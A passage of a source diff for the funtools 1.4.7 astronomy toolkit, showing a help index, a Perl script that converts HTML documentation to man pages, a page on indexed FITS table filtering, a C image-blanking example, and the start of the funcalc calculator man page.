<LI><A HREF="./programs.html#funindex">funindex: create an index on a column in a binary table</A>
<!-- =text [funindex(1)] -->
<LI><A HREF="./programs.html#funjoin">funjoin: join two or more FITS binary tables on specified columns</A>
<!-- =text [funjoin(1)] -->
<LI><A HREF="./programs.html#funmerge">funmerge: merge one or more Funtools table files</A>
<!-- =text [funmerge(1)] -->
<LI><A HREF="./programs.html#funsky">funsky: convert between image and sky coordinates, using WCS info from a FITS header</A>
<!-- =text [funsky(1)] -->
<LI><A HREF="./programs.html#funtable">funtable: copy selected rows from a Funtools file to a FITS binary table</A>
<!-- =text [funtable(1)] -->
<LI><A HREF="./programs.html#funtbl">funtbl: extract a table from
Funtools ASCII output</A>
<!-- =text [funtbl(1)] -->
<LI><A HREF="./ds9.html">funtools and ds9 image display</A>
<!-- =text [funds9(n)] -->
</UL>
<LI><A HREF="./library.html">Funtools Programming</A>
<UL>
<LI><A HREF="./library.html#summary">Funtools Programming Summary</A>
<!-- =text [funlib(3)] -->
<LI><A HREF="./library.html#tutorial">Funtools Programming Tutorial</A>
<!-- =text [funlib(3)] -->
<LI><A HREF="./library.html#order">A Short Digression on Subroutine Order</A>
<!-- =text [funlib(3)] -->
<LI><A HREF="./library.html#compiling">Compiling and Linking</A>
<!-- =text [funlib(3)] -->
<LI><A HREF="./library.html#refhandle">The Funtools Reference Handle</A>
<!-- =text [funlib(3)] -->
<LI><A HREF="./library.html#reference">The Funtools Programming Reference Manual</A>
<UL>
<LI> <A HREF="./library.html#funopen">FunOpen: open a Funtools file</A>
<!-- =text [funopen(3)] -->
<LI><A HREF="./library.html#funimageget">FunImageGet: retrieve image data</A>
<!-- =text [funimageget(3)] -->
<LI><A HREF="./library.html#funimageput">FunImagePut: output image data</A>
<!-- =text [funimageput(3)] -->
<LI><A HREF="./library.html#funimagerowget">FunImageRowGet: retrieve image data by row</A>
<!-- =text [funimagerowget(3)] -->
<LI><A HREF="./library.html#funimagerowput">FunImageRowPut: output image data by row</A>
<!-- =text [funimagerowput(3)] -->
<LI><A HREF="./library.html#funtablerowget">FunTableRowGet: retrieve rows from a table</A>
<!-- =text [funtablerowget(3)] -->
<LI><A HREF="./library.html#funtablerowput">FunTableRowPut: output rows to a table</A>
<!-- =text [funtablerowput(3)] -->
<LI><A HREF="./library.html#funcolumnselect">FunColumnSelect: select columns in a table for access</A>
<!-- =text [funcolumnselect(3)] -->
<LI><A HREF="./library.html#funcolumnactivate">FunColumnActivate: activate columns in a table for read/write</A>
<!-- =text [funcolumnactivate(3)] -->
<LI><A HREF="./library.html#funcolumnlookup">FunColumnLookup: lookup info about the columns in a table</A>
<!-- =text [funcolumnlookup(3)] -->
<LI><A HREF="./library.html#funinfoget">FunInfoGet: get info about an image or table</A>
<!-- =text [funinfoget(3)] -->
<LI><A HREF="./library.html#funinfoput">FunInfoPut: put info about an image or table</A>
<!-- =text [funinfoput(3)] -->
<LI><A HREF="./library.html#funparamget">FunParamGet: get header param</A>
<!-- =text [funparamget(3)] -->
<LI><A HREF="./library.html#funparamput">FunParamPut: put header param</A>
<!-- =text [funparamput(3)] -->
<LI><A HREF="./library.html#funflush">FunFlush: flush I/O in a Funtools file</A>
<!-- =text [funflush(3)] -->
<LI><A HREF="./library.html#funclose">FunClose: close a Funtools file</A>
<!-- =text [funclose(3)] -->
</UL>
<LI><A HREF="./library.html#examples">Funtools Programming Examples</A>
<!-- =text [funlib(3)] -->
<UL>
<LI><A HREF="./evmerge.c">evmerge: merge new columns with existing columns</A>
<LI><A HREF="./evcol.c">evcols: add column and rows to binary tables</A>
<LI><A HREF="./imblank.c">imblank: blank out image values below a threshold</A>
</UL>
</UL>
<LI><A HREF="./files.html">Funtools Data Files</A>
<!-- =text [funfiles(n)] -->
<UL>
<LI><A HREF="./files.html#formats">Supported Data Formats</A>
<UL>
<LI><A HREF="./files.html#fits">FITS File and Extensions</A>
<LI><A HREF="./files.html#events">Non-FITS Raw Event Files</A>
<LI><A HREF="./files.html#arrays">Non-FITS Array Files</A>
<LI><A HREF="./text.html">Column-based Text (ASCII) Files</A>
<LI><A HREF="./view.html">Database Views of Tables</A>
</UL>
<LI><A HREF="./files.html#sections">Image Sections and Blocking</A>
<LI><A HREF="./files.html#binning">Binning FITS Binary Tables and Non-FITS Event Files</H2>
<LI><A HREF="./files.html#types">Disk Files and Other Supported File Types</A>
</UL>
<LI>Funtools Data Filtering
<UL>
<LI><A HREF="./filters.html">Table Filtering</A>
<!-- =text [funfilters(n)] -->
<LI><A HREF="./idx.html">Fast Table Filtering using Indexes</A>
<!-- =text [funidx(n)] -->
<LI><A HREF="./regions.html">Spatial Region Filtering</A>
<!-- =text [funregions(n)] -->
<UL>
<LI><A HREF="./reggeometry.html">Region Geometry</A>
<!-- =text [reggeometry(n)] -->
<LI><A HREF="./regalgebra.html">Region Algebra</A>
<!-- =text [regalgebra(n)] -->
<LI><A HREF="./regcoords.html">Region Coordinates</A>
<!-- =text [regcoords(n)] -->
<LI><A HREF="./regbounds.html">Region Boundaries</A>
<!-- =text [regbounds(n)] -->
<LI><A HREF="./regdiff.html">Differences Between Funtools and IRAF Regions</A>
<!-- =text [regdiff(n)] -->
</UL>
<LI><A HREF="./combo.html">Combining Table and Region Filters</A>
<!-- =text [funcombine(n)] -->
</UL>
<LI> Miscellaneous
<UL>
<LI><A HREF="./env.html">Funtools Environment Variables</A>
<!-- =text [funenv(n)] -->
<LI><A HREF="./changelog.html">Funtools ChangeLog</A>
</UL>
</UL>
<!-- =stop -->
<H5>Last updated: January 6, 2006</H5>
</BODY>
</HTML>

258
funtools-1.4.7/doc/html2man Executable file
View File

@ -0,0 +1,258 @@
#!/usr/bin/perl
#
# See COPYRIGHT
#
# Script to generate a pod file from an html source (the same one as for text files too)
# and later this pod file it passed through pod2man
#
# Use:
# html2man [ <man-dir> [<version-dir>] ] <file.html
#
# <Man-dir> is the directory where the man pages will be created
# (current directory by default). If a file name is given instead of
# directory then the directory of that file is used.
# <Version-dir> is the directory containing the ttf2pt1 files version.h
# and CHANGES.html which are used to generate the release name and date
# for the man page (by default looks in current directory and then in up to
# 5 ancestor directories).
# If the version files can not be found then the release defaults to
# "current" and the date defaults to today.
#
# Special formatting in the html file is:
# All controls are hidden within HTML comments that must occupy a whole separate line
# Such a line looks like:
# <!-- =<html2man_directive> <arguments> -->
# <!-- ==<pod_directive> <arguments> -->
# Any sort of directive must be followed by a space. The pod directives are
# automatically surrounded by empty lines in the output file.
# The html2man directives are:
#
# <!-- =defdoc <docid> <file> <section> -->
# Define a man page. Multiple man pages can be defined in the same HTML
# file. <Docid> is a short name by which this man page will be referred in the
# other directives. <File> is the name of the man page, and <section> is the
# section of the manual (do not confuse with sections within a man page).
#
# <!-- =section <docid> <page_section_name> -->
# All the text following this directive is copied (with translation)
# into the specified section of the specified man page. The sections
# may appear in arbitrary order, they will be rearranged to the standard
# order before output. Only standard section names are permitted (see @stdsect
# below). The pod directives which occur outside of man sections are ignored,
# just like the common text. The translation of HTML tags is:
#
# <br> - to paragraph break
# <b> - to B<>
# <i> - to I<>
# <tt> - to C<>
# <a href> - to F<>
# <ul>, <li>, </ul> - to =over 2, =item *, =back
# &nbsp;, &amp;, &lt;, &gt - to their symbols, appropriately encoded
#
# The rest of HTML tags is removed
#
# If the same section is started more than once, the text from the
# second appearance will be added to the first, etc.
#
# <!-- =stop -->
# Stop copying text to the man page.
#
# <!-- =cont -->
# Continue copying text to the man page, same section as before.
#
# <!-- =text <text> -->
# Insert this <text> into the man page (works only when copying is enabled).
# Characters &lt;, &gt;, &amp; are converted as usual.
@mons = qw(January February March April May June July August September October November December);
$dir = $ARGV[0];
$maindir = $ARGV[1];
if($dir eq "") {
$dir = ".";
} elsif( ! -d $dir ) {
if( ! ($dir =~ s|\/[^/]*$||) ) {
$dir = ".";
}
}
if($maindir eq "") {
$maindir = ".";
for($i=0; $i<5; $i++) {
if(-f "$maindir/version.h") {
last;
}
$maindir = "../$maindir";
}
}
if( open(VERFILE, "<$maindir/version.h") ) {
while(<VERFILE>) {
if( /^\s*\#define\s+TTF2PT1_VERSION\s+\"(.*)\"/ ) {
$release = "version $1";
}
}
close(VERFILE);
if( $release =~ /SNAP-([0-9][0-9])([0-9][0-9])([0-9][0-9])/ ) {
$date = sprintf("%s %d, 20%02d", $mons[$2-1], $3, $1);
} elsif( open(CFILE, "<$maindir/CHANGES.html") ) {
while(<CFILE>) {
if( /\<H4\>/) {
last;
}
}
$_ = <CFILE>;
chomp;
if( $_ =~ s/^.*?-- // ) {
$date = $_;
}
close(CFILE);
}
}
if($release eq "") {
if( open(VERFILE, "<../Makefile") ) {
while(<VERFILE>) {
if( /^VERSION\s+=\s+(.*)/ ) {
$release = "version $1";
}
}
close(VERFILE);
}
}
if($release eq "") {
$release = "current";
}
if($date eq "") {
@lt = localtime(time);
$date = sprintf("%s %d, %d", $mons[$lt[4]], $lt[3], 1900+$lt[5]);
}
#printf(STDERR "date=%s release=%s\n", $date, $release);
$writemode = 0;
while(<STDIN>) {
if( s/^\<\!\-\- \=(\S+)\s+//) {
$cmd = $1;
s/\s*\-\-\>\s*$//;
#printf(STDERR "cmd=%s args=%s\n", $cmd, $_);
if($cmd =~ /^=/) {
if($writemode) {
$text{$tosect} .= "\n\n$cmd $_\n\n";
}
} elsif($cmd eq "defdoc") {
@sl = split;
push(@allids, $sl[0]);
$file{$sl[0]} = $sl[1];
$mansect{$sl[0]} = $sl[2];
} elsif($cmd eq "section") {
# tosect includes the file id
$tosect = $_;
$text{$tosect} .= "\n\n";
$writemode = 1;
} elsif($cmd eq "stop") {
$writemode = 0;
$text{$tosect} .= "\n";
} elsif($cmd eq "cont") {
$writemode = 1;
} elsif($cmd eq "text") {
if($writemode) {
s/\&lt\;/</gi;
s/\&gt\;/>/gi;
s/\&amp\;/\&/gi;
$text{$tosect} .= "$_\n";
}
}
} elsif($writemode) {
# s/^\s+//;
s/\{/\&lbr;/g;
s/\}/\&rbr;/g;
s/\<br\>/\n\n/gi;
#s/\<blockquote\>/\n\n=over 4\n\n/gi;
#s/\<\/blockquote\>/\n\n=back\n\n/gi;
s/\<ul\>/\n\n=over 4\n\n/gi;
s/\<\/ul\>/\n\n=back\n\n/gi;
s/\<li\>\s*/\n\n=item \*\n\n/gi;
s/\<dl\>/\n\n=over 4\n\n/gi;
s/\<\/dl\>/\n\n=back\n\n/gi;
s/\<dt\>\s*/\n\n=item \*\n\n/gi;
s/\<dd\>\s*/\n\n/gi;
s/\<i\>(.*?)\<\/i\>/I\{\1\}/gi;
s/\<em\>(.*?)\<\/em\>/I\{\1\}/gi;
s/\<b\>(.*?)\<\/b\>/B\{\1\}/gi;
s/\<tt\>(.*?)\<\/tt\>/C\{\1\}/gi;
s/\<a href\=\.*?\>(.*?)\<\/a\>/F\{\1\}/gi;
s/\<h2\>summary\<\/h2\>//gi;
s/\<h2\>description\<\/h2\>//gi;
s/\<h2\>examples\<\/h2\>//gi;
s/\<h2\>options\<\/h2\>//gi;
s/\<h2\>(.*?)\<\/h2\>/B\{\1\}/gi;
s/\<.*?\>//g;
s/\{/\</g;
s/\}/\>/g;
s/\&nbsp\;/S< >/gi;
s/\&amp\;/\&/gi;
# s/\&lt\;/E<lt>/gi;
# s/\&gt\;/E<gt>/gi;
s/\&lt\;/\</gi;
s/\&gt\;/\>/gi;
#s/\|/E<verbar>/g;
#s/\//E<sol>/g;
s/\&lbr\;/\{/g;
s/\&rbr\;/\}/g;
#printf(STDERR "section=%s add=%s", $tosect, $_);
$text{$tosect} .= $_;
}
}
@stdsect = (
"NAME",
"SYNOPSIS",
"OPTIONS",
"DESCRIPTION",
"RETURN VALUE",
"ERRORS",
"EXAMPLES",
"ENVIRONMENT",
"FILES",
"SEE ALSO",
"NOTES",
"CAVEATS",
"DIAGNOSTICS",
"BUGS",
"RESTRICTIONS",
"AUTHOR",
"HISTORY" );
#printf(STDERR "allids= @allids\n");
for $id (@allids) {
print(STDERR "creating man page $id $file{$id} $mansect{$id}\n\n");
die "Unable to create pod file $dir/$file{$id}.pod"
unless open(PODF, ">./pod/$file{$id}.pod");
print(PODF "=pod\n\n");
for $sect (@stdsect) {
$sid = "$id $sect";
#printf(STDERR "trying %s\n", $sid);
if(defined $text{$sid}) {
#printf(STDERR " section %s\n", $sid);
print(PODF "=head1 $sect\n\n$text{$sid}\n\n");
}
}
print(PODF "=cut\n");
close(PODF);
die "Unable to generate the man page $dir/$file{$id}.1"
if system("pod2man --section=\"$mansect{$id}\" --release=\"$release\" "
. "--center=\"SAORD Documentation\" --date=\"$date\" "
. "--name=\"$file{$id}\" "
. "./pod/$file{$id}.pod > $dir/man$mansect{$id}/$file{$id}.$mansect{$id}");
unlink("$dir/$file{$id}.pod");
}

216
funtools-1.4.7/doc/idx.html Normal file
View File

@ -0,0 +1,216 @@
<!-- =defdoc funidx funidx n -->
<HTML>
<HEAD>
<TITLE>Table Filtering with Indexes</TITLE>
</HEAD>
<BODY>
<!-- =section funidx NAME -->
<H2><A NAME="funidx">Funidx: Using Indexes to Filter Rows in a Table</A></H2>
<!-- =section funidx SYNOPSIS -->
<H2>Summary</H2>
<P>
This document contains a summary of the user interface for
filtering rows in binary tables with indexes.
<!-- =section funidx DESCRIPTION -->
<H2>Description</H2>
<P>
Funtools <A HREF="./filters.html">Table Filtering</A> allows rows in a
table to be selected based on the values of one or more columns in the
row. Because the actual filter code is compiled on the fly, it is very
efficient. However, for very large files (hundreds of Mb or larger),
evaluating the filter expression on each row can take a long time. Therefore,
funtools supports index files for columns, which are used automatically during
filtering to reduce dramatically the number of row evaluations performed.
The speed increase for indexed filtering can be an order of magnitude or
more, depending on the size of the file.
<P>
The <A HREF="./programs.html#funindex">funindex</A> program creates an
index on one or more columns in a binary table. For example, to create an index
for the column pi in the file huge.fits, use:
<PRE>
funindex huge.fits pi
</PRE>
This will create an index named huge_pi.idx.
<P>
When a filter expression is initialized for row evaluation, funtools
looks for an index file for each column in the filter expression. If
found, and if the file modification date of the index file is later
than that of the data file, then the index will be used to reduce the
number of rows that are evaluated in the filter. When
<A HREF="./regions.html">Spatial Region Filtering</A> is part of the
expression, the columns associated with the region are checked for index
files.
<P>
If an index file is not available for a given column, then in general,
all rows must be checked when that column is part of a filter
expression. This is not true, however, when a non-indexed column is
part of an AND expression. In this case, only the rows that pass the
other part of the AND expression need to be checked. Thus, in some cases,
filtering speed can increase significantly even if all columns are not
indexed.
<P>
Also note that certain types of filter expression syntax cannot make
use of indices. For example, calling functions with column names as
arguments implies that all rows must be checked against the function
value. Once again, however, if this function is part of an AND
expression, then a significant improvement in speed still is possible
if the other part of the AND expression is indexed.
<P>
For example, note below the dramatic speedup in searching a 1 Gb
file using an AND filter, even when one of the columns (pha) has no
index:
<PRE>
time fundisp \
huge.fits'[idx_activate=0,idx_debug=1,pha=2348&&cir 4000 4000 1]' \
"x y pha"
x y pha
---------- ----------- ----------
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
42.36u 13.07s 6:42.89 13.7%
time fundisp \
huge.fits'[idx_activate=1,idx_debug=1,pha=2348&&cir 4000 4000 1]' \
"x y pha"
x y pha
---------- ----------- ----------
idxeq: [INDEF]
idxand sort: x[ROW 8037025:8070128] y[ROW 5757665:5792352]
idxand(1): INDEF [IDX_OR_SORT]
idxall(1): [IDX_OR_SORT]
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
3999.48 4000.47 2348
1.55u 0.37s 1:19.80 2.4%
</PRE>
When all columns are indexed, the increase in speed can be even more dramatic:
<PRE>
time fundisp \
huge.fits'[idx_activate=0,idx_debug=1,pi=770&&cir 4000 4000 1]' \
"x y pi"
x y pi
---------- ----------- ----------
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
42.60u 12.63s 7:28.63 12.3%
time fundisp \
huge.fits'[idx_activate=1,idx_debug=1,pi=770&&cir 4000 4000 1]' \
"x y pi"
x y pi
---------- ----------- ----------
idxeq: pi start=9473025,stop=9492240 => pi[ROW 9473025:9492240]
idxand sort: x[ROW 8037025:8070128] y[ROW 5757665:5792352]
idxor sort/merge: pi[ROW 9473025:9492240] [IDX_OR_SORT]
idxmerge(5): [IDX_OR_SORT] pi[ROW]
idxall(1): [IDX_OR_SORT]
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
3999.48 4000.47 770
1.67u 0.30s 0:24.76 7.9%
</PRE>
<P>
The miracle of indexed filtering (and indeed, of any indexing) is the
speed of the binary search on the index, which is of order log2(n)
instead of n. (The funtools binary search method is taken from
http://www.tbray.org/ongoing/When/200x/2003/03/22/Binary, to whom
grateful acknowledgement is made.) This means that the larger the
file, the better the performance. Conversely, it also means that for
small files, using an index (and the overhead involved) can slow
filtering down somewhat. Our tests indicate that on a file containing
a few tens of thousands of rows, indexed filtering can be 10 to 20
percent slower than non-indexed filtering. Of course, your mileage
will vary with conditions (disk access speed, amount of available
memory, process load, etc.)
<p>
Any problem encountered during index processing will result in
indexing being turned off, and replaced by filtering all rows. You can turn
filtering off manually by setting the idx_activate variable to 0 (in a filter
expression) or the FILTER_IDX_ACTIVATE environment variable to 0 (in the global
environment). Debugging output showing how the indexes are being processed can
be displayed to stderr by setting the idx_debug variable to 1 (in a filter
expression) or the FILTER_IDX_DEBUG environment variable to 1 (in the global
environment).
<p>
Currently, indexed filtering only works with FITS binary tables and raw
event files. It does not work with text files. This restriction might be
removed in a future release.
<!-- =section funidx SEE ALSO -->
<!-- =text See funtools(n) for a list of Funtools help pages -->
<!-- =stop -->
<P>
<A HREF="./help.html">Go to Funtools Help Index</A>
<H5>Last updated: August 3, 2007</H5>
</BODY>
</HTML>

View File

@ -0,0 +1,106 @@
#include <funtools.h>
#include <stdlib.h>
#ifdef ANSI_FUNC
int
main (int argc, char **argv)
#else
main(argc, argv)
int argc;
char **argv;
#endif
{
int i;
int bitpix, dim1, dim2;
int total;
double blimit, bvalue;
char *buf;
unsigned char *cbuf;
short *sbuf;
int *ibuf;
float *fbuf;
double *dbuf;
Fun fun, fun2;
if( argc < 4 ){
fprintf(stderr, "usage: %s iname oname blimit bvalue\n", argv[0]);
exit(1);
}
/* get blank limit and optional blank value */
blimit = atof(argv[3]);
bvalue = 0;
if( argc >= 5 )
bvalue = atof(argv[4]);
/* exit on gio errors */
setgerror(2);
/* open the input FITS file */
if( !(fun = FunOpen(argv[1], "rc", NULL)) )
gerror(stderr, "could not FunOpen input file: %s\n", argv[1]);
/* open the output FITS image, preparing to copy input params */
if( !(fun2 = FunOpen(argv[2], "w", fun)) )
gerror(stderr, "could not FunOpen output file: %s\n", argv[2]);
/* extract and bin the data section into an image buffer */
if( !(buf = FunImageGet(fun, NULL, NULL)) )
gerror(stderr, "could not FunImageGet: %s\n", argv[1]);
/* get required information from funtools structure.
this should come after the ImageGet call, in case that call
changed fun_sect_bitpix value */
FunInfoGet(fun,
FUN_SECT_BITPIX, &bitpix,
FUN_SECT_DIM1, &dim1,
FUN_SECT_DIM2, &dim2,
0);
/* set appropriate data type buffer to point to image buffer */
switch(bitpix){
case 8:
cbuf = (unsigned char *)buf; break;
case 16:
sbuf = (short *)buf; break;
case 32:
ibuf = (int *)buf; break;
case -32:
fbuf = (float *)buf; break;
case -64:
dbuf = (double *)buf; break;
}
/* loop through pixels and reset values below limit to value */
total = dim1*dim2;
for(i=0; i<total; i++){
switch(bitpix){
case 8:
if( cbuf[i] <= blimit ) cbuf[i] = bvalue;
break;
case 16:
if( sbuf[i] <= blimit ) sbuf[i] = bvalue;
break;
case 32:
if( ibuf[i] <= blimit ) ibuf[i] = bvalue;
break;
case -32:
if( fbuf[i] <= blimit ) fbuf[i] = bvalue;
break;
case -64:
if( dbuf[i] <= blimit ) dbuf[i] = bvalue;
break;
}
}
/* write the output image, updating the FITS header from the orig file */
if( !FunImagePut(fun2, buf, 0, 0, 0, NULL) )
gerror(stderr, "could not FunImagePut: %s\n", argv[2]);
/* free up space */
if( buf ) free(buf);
/* close output first so that flush happens automatically */
FunClose(fun2);
FunClose(fun);
}

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,572 @@
=pod
=head1 NAME
B<funcalc - Funtools calculator (for binary tables)>
=head1 SYNOPSIS
funcalc [-n] [-a argstr] [-e expr] [-f file] [-l link] [-p prog] <iname> [oname [columns]]
=head1 OPTIONS
-a argstr # user arguments to pass to the compiled program
-e expr # funcalc expression
-f file # file containing funcalc expression
-l libs # libs to add to link command
-n # output generated code instead of compiling and executing
-p prog # generate named program, no execution
-u # die if any variable is undeclared (don't auto-declare)
=head1 DESCRIPTION
B<funcalc> is a calculator program that allows arbitrary
expressions to be constructed, compiled, and executed on columns in a
Funtools table (FITS binary table or raw event file). It works by
integrating user-supplied expression(s) into a template C program,
then compiling and executing the program. B<funcalc> expressions
are C statements, although some important simplifications (such
as automatic declaration of variables) are supported.
B<funcalc> expressions can be specified in three ways: on the
command line using the B<-e [expression]> switch, in a file using
the B<-f [file]> switch, or from stdin (if neither B<-e> nor
B<-f> is specified). Of course a file containing B<funcalc>
expressions can be read from stdin.
Each invocation of B<funcalc> requires an input Funtools table
file to be specified as the first command line argument. The output
Funtools table file is the second optional argument. It is needed only
if an output FITS file is being created (i.e., in cases where the
B<funcalc> expression only prints values, no output file is
needed). If input and output file are both specified, a third optional
argument can specify the list of columns to activate (using
FunColumnActivate()). Note
that B<funcalc> determines whether or not to generate code for
writing an output file based on the presence or absence of an
output file argument.
A B<funcalc> expression executes on each row of a table and
consists of one or more C statements that operate on the columns of
that row (possibly using temporary variables). Within an expression,
reference is made to a column of the B<current> row using the C
struct syntax B<cur->[colname]>, e.g. cur->x, cur->pha, etc.
Local scalar variables can be defined using C declarations at very the
beginning of the expression, or else they can be defined automatically
by B<funcalc> (to be of type double). Thus, for example, a swap of
columns x and y in a table can be performed using either of the
following equivalent B<funcalc> expressions:
double temp;
temp = cur->x;
cur->x = cur->y;
cur->y = temp;
or:
temp = cur->x;
cur->x = cur->y;
cur->y = temp;
When this expression is executed using a command such as:
funcalc -f swap.expr itest.ev otest.ev
the resulting file will have values of the x and y columns swapped.
By default, the data type of the variable for a column is the same as
the data type of the column as stored in the file. This can be changed
by appending ":[dtype]" to the first reference to that column. In the
example above, to force x and y to be output as doubles, specify the
type 'D' explicitly:
temp = cur->x:D;
cur->x = cur->y:D;
cur->y = temp;
Data type specifiers follow standard FITS table syntax for defining
columns using TFORM:
=over 4
=item *
A: ASCII characters
=item *
B: unsigned 8-bit char
=item *
I: signed 16-bit int
=item *
U: unsigned 16-bit int (not standard FITS)
=item *
J: signed 32-bit int
=item *
V: unsigned 32-bit int (not standard FITS)
=item *
E: 32-bit float
=item *
D: 64-bit float
=item *
X: bits (treated as an array of chars)
=back
Note that only the first reference to a column should contain the
explicit data type specifier.
Of course, it is important to handle the data type of the columns
correctly. One of the most frequent cause of error in B<funcalc>
programming is the implicit use of the wrong data type for a column in
expression. For example, the calculation:
dx = (cur->x - cur->y)/(cur->x + cur->y);
usually needs to be performed using floating point arithmetic. In
cases where the x and y columns are integers, this can be done by
reading the columns as doubles using an explicit type specification:
dx = (cur->x:D - cur->y:D)/(cur->x + cur->y);
Alternatively, it can be done using C type-casting in the expression:
dx = ((double)cur->x - (double)cur->y)/((double)cur->x + (double)cur->y);
In addition to accessing columns in the current row, reference also
can be made to the B<previous> row using B<prev->[colname]>,
and to the B<next> row using B<next->[colname]>. Note that if
B<prev->[colname]> is specified in the B<funcalc>
expression, the very first row is not processed. If
B<next->[colname]> is specified in the B<funcalc>
expression, the very last row is not processed. In this way,
B<prev> and B<next> are guaranteed always to point to valid
rows. For example, to print out the values of the current x column
and the previous y column, use the C fprintf function in a
B<funcalc> expression:
fprintf(stdout, "%d %d\n", cur->x, prev->y);
New columns can be specified using the same B<cur->[colname]>
syntax by appending the column type (and optional tlmin/tlmax/binsiz
specifiers), separated by colons. For example, cur->avg:D will define
a new column of type double. Type specifiers are the same those
used above to specify new data types for existing columns.
For example, to create and output a new column that is the average value of the
x and y columns, a new "avg" column can be defined:
cur->avg:D = (cur->x + cur->y)/2.0
Note that the final ';' is not required for single-line expressions.
As with FITS TFORM data type specification, the column data type
specifier can be preceded by a numeric count to define an array, e.g.,
"10I" means a vector of 10 short ints, "2E" means two single precision
floats, etc. A new column only needs to be defined once in a
B<funcalc> expression, after which it can be used without
re-specifying the type. This includes reference to elements of a
column array:
cur->avg[0]:2D = (cur->x + cur->y)/2.0;
cur->avg[1] = (cur->x - cur->y)/2.0;
The 'X' (bits) data type is treated as a char array of dimension
(numeric_count/8), i.e., 16X is processed as a 2-byte char array. Each
8-bit array element is accessed separately:
cur->stat[0]:16X = 1;
cur->stat[1] = 2;
Here, a 16-bit column is created with the MSB is set to 1 and the LSB set to 2.
By default, all processed rows are written to the specified output
file. If you want to skip writing certain rows, simply execute the C
"continue" statement at the end of the B<funcalc> expression,
since the writing of the row is performed immediately after the
expression is executed. For example, to skip writing rows whose
average is the same as the current x value:
cur->avg[0]:2D = (cur->x + cur->y)/2.0;
cur->avg[1] = (cur->x - cur->y)/2.0;
if( cur->avg[0] == cur->x )
continue;
If no output file argument is specified on the B<funcalc> command
line, no output file is opened and no rows are written. This is useful
in expressions that simply print output results instead of generating
a new file:
fpv = (cur->av3:D-cur->av1:D)/(cur->av1+cur->av2:D+cur->av3);
fbv = cur->av2/(cur->av1+cur->av2+cur->av3);
fpu = ((double)cur->au3-cur->au1)/((double)cur->au1+cur->au2+cur->au3);
fbu = cur->au2/(double)(cur->au1+cur->au2+cur->au3);
fprintf(stdout, "%f\t%f\t%f\t%f\n", fpv, fbv, fpu, fbu);
In the above example, we use both explicit type specification
(for "av" columns) and type casting (for "au" columns) to ensure that
all operations are performed in double precision.
When an output file is specified, the selected input table is
processed and output rows are copied to the output file. Note that
the output file can be specified as "stdout" in order to write the
output rows to the standard output. If the output file argument is
passed, an optional third argument also can be passed to specify which
columns to process.
In a FITS binary table, it sometimes is desirable to copy all of the
other FITS extensions to the output file as well. This can be done by
appending a '+' sign to the name of the extension in the input file
name. See B<funtable> for a related example.
B<funcalc> works by integrating the user-specified expression
into a template C program called tabcalc.c.
The completed program then is compiled and executed. Variable
declarations that begin the B<funcalc> expression are placed in
the local declaration section of the template main program. All other
lines are placed in the template main program's inner processing
loop. Other details of program generation are handled
automatically. For example, column specifiers are analyzed to build a
C struct for processing rows, which is passed to
FunColumnSelect() and used
in FunTableRowGet(). If
an unknown variable is used in the expression, resulting in a
compilation error, the program build is retried after defining the
unknown variable to be of type double.
Normally, B<funcalc> expression code is added to
B<funcalc> row processing loop. It is possible to add code
to other parts of the program by placing this code inside
special directives of the form:
[directive name]
... code goes here ...
end
The directives are:
=over 4
=item *
B<global> add code and declarations in global space, before the main routine.
=item *
B<local> add declarations (and code) just after the local declarations in
main
=item *
B<before> add code just before entering the main row processing loop
=item *
B<after> add code just after exiting the main row processing loop
=back
Thus, the following B<funcalc> expression will declare global
variables and make subroutine calls just before and just after the
main processing loop:
global
double v1, v2;
double init(void);
double finish(double v);
end
before
v1 = init();
end
... process rows, with calculations using v1 ...
after
v2 = finish(v1);
if( v2 < 0.0 ){
fprintf(stderr, "processing failed %g -> %g\n", v1, v2);
exit(1);
}
end
Routines such as init() and finish() above are passed to the generated
program for linking using the B<-l [link directives ...]>
switch. The string specified by this switch will be added to the link
line used to build the program (before the funtools library). For
example, assuming that init() and finish() are in the library
libmysubs.a in the /opt/special/lib directory, use:
funcalc -l "-L/opt/special/lib -lmysubs" ...
User arguments can be passed to a compiled funcalc program using a string
argument to the "-a" switch. The string should contain all of the
user arguments. For example, to pass the integers 1 and 2, use:
funcalc -a "1 2" ...
The arguments are stored in an internal array and are accessed as
strings via the ARGV(n) macro. For example, consider the following
expression:
local
int pmin, pmax;
end
before
pmin=atoi(ARGV(0));
pmax=atoi(ARGV(1));
end
if( (cur->pha >= pmin) && (cur->pha <= pmax) )
fprintf(stderr, "%d %d %d\n", cur->x, cur->y, cur->pha);
This expression will print out x, y, and pha values for all rows in which
the pha value is between the two user-input values:
funcalc -a '1 12' -f foo snr.ev'[cir 512 512 .1]'
512 512 6
512 512 8
512 512 5
512 512 5
512 512 8
funcalc -a '5 6' -f foo snr.ev'[cir 512 512 .1]'
512 512 6
512 512 5
512 512 5
Note that it is the user's responsibility to ensure that the correct
number of arguments are passed. The ARGV(n) macro returns a NULL if a
requested argument is outside the limits of the actual number of args,
usually resulting in a SEGV if processed blindly. To check the
argument count, use the ARGC macro:
local
long int seed=1;
